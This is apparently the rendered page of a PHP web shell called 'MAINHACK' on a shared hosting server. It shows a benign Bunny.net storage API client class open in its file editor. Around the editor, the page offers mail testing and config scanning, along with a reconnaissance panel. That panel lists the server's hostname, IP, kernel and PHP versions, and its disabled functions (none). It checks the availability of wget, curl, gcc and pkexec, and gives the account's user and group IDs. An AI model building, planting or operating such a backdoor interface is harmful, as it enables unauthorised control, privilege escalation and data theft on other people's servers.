[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: EdgeStorageRequest.php
<?php /** * Written by ToshY, <24-10-2021> */ declare(strict_types=1); namespace ToshY\BunnyNet; use ToshY\BunnyNet\Client\BunnyClient; use ToshY\BunnyNet\Enum\Region; use ToshY\BunnyNet\Enum\Storage\BrowseEndpoint; use ToshY\BunnyNet\Enum\Storage\ManageEndpoint; use ToshY\BunnyNet\Exception\FileDoesNotExistException; use ToshY\BunnyNet\Exception\RegionDoesNotExistException; /** * Class EdgeStorage * @link https://docs.bunny.net/reference/storage-api */ final class EdgeStorageRequest extends BunnyClient { /** @var array */ private array $host; /** @var string */ protected string $apiKey; /** * EdgeStorage constructor. * @throws RegionDoesNotExistException */ public function __construct( string $apiKey, string $hostCode = 'FS' ) { $this->apiKey = $apiKey; $this->setHost($hostCode); parent::__construct($this->getHostUrl()); } /** * @return array */ public function getHost(): array { return $this->host; } /** * @param string $hostCode * @return EdgeStorageRequest * @throws RegionDoesNotExistException */ public function setHost(string $hostCode): EdgeStorageRequest { $upperCaseHostCode = strtoupper($hostCode); if (array_key_exists($upperCaseHostCode, Region::STORAGE_STANDARD) !== true) { throw new RegionDoesNotExistException( sprintf( 'The region abbreviation `%s` is not a valid primary storage region.' . ' Please check your storage dashboard for the correct hostname.', $hostCode ) ); } $this->host = Region::STORAGE_STANDARD[$upperCaseHostCode]; return $this; } /** * @return string */ public function getHostName(): string { return $this->getHost()['name']; } /** * @return string */ public function getHostUrl(): string { return $this->getHost()['url']; } /** * @return string */ public function getHostCost(): string { return $this->getHost()['cost']; } /** * @param string $storageZoneName * @param string $path * @param string $fileName * @return array */ public function downloadFile(string $storageZoneName, string $path, string $fileName): array { $endpoint = ManageEndpoint::DOWNLOAD_FILE; return $this->request( $endpoint, [$storageZoneName, $path, $fileName] ); } /** * @param string $storageZoneName * @param string $path * @param string $fileName * @param string $localFilePath * @return array * @throws FileDoesNotExistException */ public function uploadFile( string $storageZoneName, string $path, string $fileName, string $localFilePath ): array { $endpoint = ManageEndpoint::UPLOAD_FILE; $body = $this->openFileStream($localFilePath); return $this->request( $endpoint, [$storageZoneName, $path, $fileName], [], $body ); } /** * @param string $storageZoneName * @param string $path * @param string $fileName * @return array */ public function deleteFile(string $storageZoneName, string $path, string $fileName): array { $endpoint = ManageEndpoint::DELETE_FILE; return $this->request( $endpoint, [$storageZoneName, $path, $fileName], ); } /** * @param string $storageZoneName * @param string $path * @return array */ public function listFiles(string $storageZoneName, string $path = ''): array { $endpoint = BrowseEndpoint::LIST_FILE_COLLECTION_DIRECTORY; $pathParameters = [$storageZoneName, $path]; if (empty($path) === true) { $endpoint = BrowseEndpoint::LIST_FILE_COLLECTION_ROOT; $pathParameters = [$storageZoneName]; } return $this->request( $endpoint, $pathParameters, ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285